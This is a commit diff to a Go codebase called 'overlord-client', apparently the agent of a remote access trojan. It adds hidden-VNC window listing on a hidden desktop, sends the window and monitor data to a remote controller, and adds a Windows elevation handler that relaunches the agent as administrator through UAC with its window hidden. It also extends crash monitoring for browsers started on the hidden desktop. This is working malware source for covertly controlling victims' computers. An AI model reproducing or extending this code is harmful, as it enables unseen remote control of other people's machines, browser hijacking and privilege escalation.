add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).
This commit is contained in:
@@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 20000)
|
||||
if ret != 0 {
|
||||
notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid))
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -1967,3 +1967,161 @@ func minInt(a, b int) int {
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
var (
|
||||
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||
procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW")
|
||||
)
|
||||
|
||||
type HVNCWindowInfo struct {
|
||||
HWND uintptr
|
||||
Title string
|
||||
X int
|
||||
Y int
|
||||
Width int
|
||||
Height int
|
||||
PID uint32
|
||||
ProcessName string
|
||||
Monitor int // -1 if not on any known monitor
|
||||
Visible bool
|
||||
}
|
||||
|
||||
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
hvncDesktopMu.Lock()
|
||||
deskHandle := hvncDesktopHandle
|
||||
hvncDesktopMu.Unlock()
|
||||
if deskHandle == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
mons := monitorList()
|
||||
monInfos := make([]HVNCMonitorInfo, len(mons))
|
||||
for i, m := range mons {
|
||||
monInfos[i] = HVNCMonitorInfo{
|
||||
Index: i,
|
||||
Name: m.name,
|
||||
X: m.rect.Min.X,
|
||||
Y: m.rect.Min.Y,
|
||||
Width: m.rect.Dx(),
|
||||
Height: m.rect.Dy(),
|
||||
Primary: m.primary,
|
||||
}
|
||||
}
|
||||
|
||||
type rawWin struct {
|
||||
hwnd uintptr
|
||||
}
|
||||
var windows []rawWin
|
||||
|
||||
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||
windows = append(windows, rawWin{hwnd: hwnd})
|
||||
return 1
|
||||
})
|
||||
procEnumDesktopWindows.Call(deskHandle, cb, 0)
|
||||
|
||||
var result []HVNCWindowInfo
|
||||
for _, w := range windows {
|
||||
if !isWindowVisible(w.hwnd) {
|
||||
continue
|
||||
}
|
||||
var r rect
|
||||
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
|
||||
if ok == 0 {
|
||||
continue
|
||||
}
|
||||
winW := int(r.right - r.left)
|
||||
winH := int(r.bottom - r.top)
|
||||
if winW <= 0 || winH <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
title := getWindowText(w.hwnd)
|
||||
if title == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
|
||||
procName := ""
|
||||
if pid != 0 {
|
||||
procName = getProcessName(pid)
|
||||
}
|
||||
|
||||
winLeft := int(r.left)
|
||||
winTop := int(r.top)
|
||||
monIdx := -1
|
||||
bestOverlap := 0
|
||||
for i, m := range mons {
|
||||
overlapLeft := maxInt(winLeft, m.rect.Min.X)
|
||||
overlapTop := maxInt(winTop, m.rect.Min.Y)
|
||||
overlapRight := minInt(winLeft+winW, m.rect.Max.X)
|
||||
overlapBottom := minInt(winTop+winH, m.rect.Max.Y)
|
||||
if overlapRight > overlapLeft && overlapBottom > overlapTop {
|
||||
area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop)
|
||||
if area > bestOverlap {
|
||||
bestOverlap = area
|
||||
monIdx = i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result = append(result, HVNCWindowInfo{
|
||||
HWND: w.hwnd,
|
||||
Title: title,
|
||||
X: winLeft,
|
||||
Y: winTop,
|
||||
Width: winW,
|
||||
Height: winH,
|
||||
PID: pid,
|
||||
ProcessName: procName,
|
||||
Monitor: monIdx,
|
||||
Visible: true,
|
||||
})
|
||||
}
|
||||
return result, monInfos
|
||||
}
|
||||
|
||||
type HVNCMonitorInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
X int
|
||||
Y int
|
||||
Width int
|
||||
Height int
|
||||
Primary bool
|
||||
}
|
||||
|
||||
func getWindowText(hwnd uintptr) string {
|
||||
length, _, _ := procGetWindowTextLenW.Call(hwnd)
|
||||
if length == 0 {
|
||||
return ""
|
||||
}
|
||||
buf := make([]uint16, length+1)
|
||||
procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
|
||||
return syscall.UTF16ToString(buf)
|
||||
}
|
||||
|
||||
func getProcessName(pid uint32) string {
|
||||
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid))
|
||||
if hProc == 0 {
|
||||
return ""
|
||||
}
|
||||
defer procCloseHandle.Call(hProc)
|
||||
var buf [260]uint16
|
||||
size := uint32(len(buf))
|
||||
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
|
||||
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return ""
|
||||
}
|
||||
fullPath := syscall.UTF16ToString(buf[:size])
|
||||
for i := len(fullPath) - 1; i >= 0; i-- {
|
||||
if fullPath[i] == '\\' || fullPath[i] == '/' {
|
||||
return fullPath[i+1:]
|
||||
}
|
||||
}
|
||||
return fullPath
|
||||
}
|
||||
|
||||
@@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_window_list":
|
||||
log.Printf("hvnc: window list requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_window_list", nil, func() {
|
||||
windows, monitors := capture.HVNCEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
Width: w.Width,
|
||||
Height: w.Height,
|
||||
PID: w.PID,
|
||||
ProcessName: w.ProcessName,
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||
for _, m := range monitors {
|
||||
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||
Index: m.Index,
|
||||
Name: m.Name,
|
||||
X: m.X,
|
||||
Y: m.Y,
|
||||
Width: m.Width,
|
||||
Height: m.Height,
|
||||
Primary: m.Primary,
|
||||
})
|
||||
}
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||
Type: "hvnc_window_list_result",
|
||||
Windows: winEntries,
|
||||
Monitors: monEntries,
|
||||
})
|
||||
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_browser_check":
|
||||
log.Printf("hvnc: browser availability check requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
@@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas
|
||||
})
|
||||
}
|
||||
|
||||
mutex.ReleaseGlobal()
|
||||
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !darwin
|
||||
//go:build !darwin && !windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
//go:build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"overlord-client/cmd/agent/mutex"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
var (
|
||||
modShell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||
procShellExecute = modShell32.NewProc("ShellExecuteExW")
|
||||
)
|
||||
|
||||
const (
|
||||
_SEE_MASK_NOCLOSEPROCESS = 0x00000040
|
||||
_SEE_MASK_NOASYNC = 0x00000100
|
||||
_SW_SHOWNORMAL = 1
|
||||
_SW_HIDE = 0
|
||||
)
|
||||
|
||||
type shellExecuteInfo struct {
|
||||
cbSize uint32
|
||||
fMask uint32
|
||||
hwnd uintptr
|
||||
lpVerb *uint16
|
||||
lpFile *uint16
|
||||
lpParameters *uint16
|
||||
lpDirectory *uint16
|
||||
nShow int32
|
||||
hInstApp uintptr
|
||||
lpIDList uintptr
|
||||
lpClass *uint16
|
||||
hkeyClass uintptr
|
||||
dwHotKey uint32
|
||||
hIcon uintptr
|
||||
hProcess uintptr
|
||||
}
|
||||
|
||||
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||
token := windows.GetCurrentProcessToken()
|
||||
if token.IsElevated() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "already running as admin",
|
||||
})
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
args := strings.Join(os.Args[1:], " ")
|
||||
|
||||
verb, _ := windows.UTF16PtrFromString("runas")
|
||||
file, _ := windows.UTF16PtrFromString(exePath)
|
||||
params, _ := windows.UTF16PtrFromString(args)
|
||||
|
||||
sei := shellExecuteInfo{
|
||||
fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC,
|
||||
lpVerb: verb,
|
||||
lpFile: file,
|
||||
lpParameters: params,
|
||||
nShow: _SW_HIDE,
|
||||
}
|
||||
sei.cbSize = uint32(unsafe.Sizeof(sei))
|
||||
|
||||
r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei)))
|
||||
if r1 == 0 {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("UAC elevation failed: %v", err),
|
||||
})
|
||||
}
|
||||
|
||||
mutex.ReleaseGlobal()
|
||||
log.Printf("[elevate] started elevated process via UAC")
|
||||
|
||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: "elevating — new process started as admin via UAC",
|
||||
})
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
@@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct {
|
||||
Detail string `msgpack:"detail"`
|
||||
}
|
||||
|
||||
type HVNCWindowEntry struct {
|
||||
Title string `msgpack:"title"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
PID uint32 `msgpack:"pid"`
|
||||
ProcessName string `msgpack:"processName"`
|
||||
Monitor int `msgpack:"monitor"`
|
||||
}
|
||||
|
||||
type HVNCMonitorEntry struct {
|
||||
Index int `msgpack:"index"`
|
||||
Name string `msgpack:"name"`
|
||||
X int `msgpack:"x"`
|
||||
Y int `msgpack:"y"`
|
||||
Width int `msgpack:"width"`
|
||||
Height int `msgpack:"height"`
|
||||
Primary bool `msgpack:"primary"`
|
||||
}
|
||||
|
||||
type HVNCWindowListResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Windows []HVNCWindowEntry `msgpack:"windows"`
|
||||
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
|
||||
}
|
||||
|
||||
type ClipboardContent struct {
|
||||
Type string `msgpack:"type"`
|
||||
Text string `msgpack:"text"`
|
||||
|
||||
Reference in New Issue
Block a user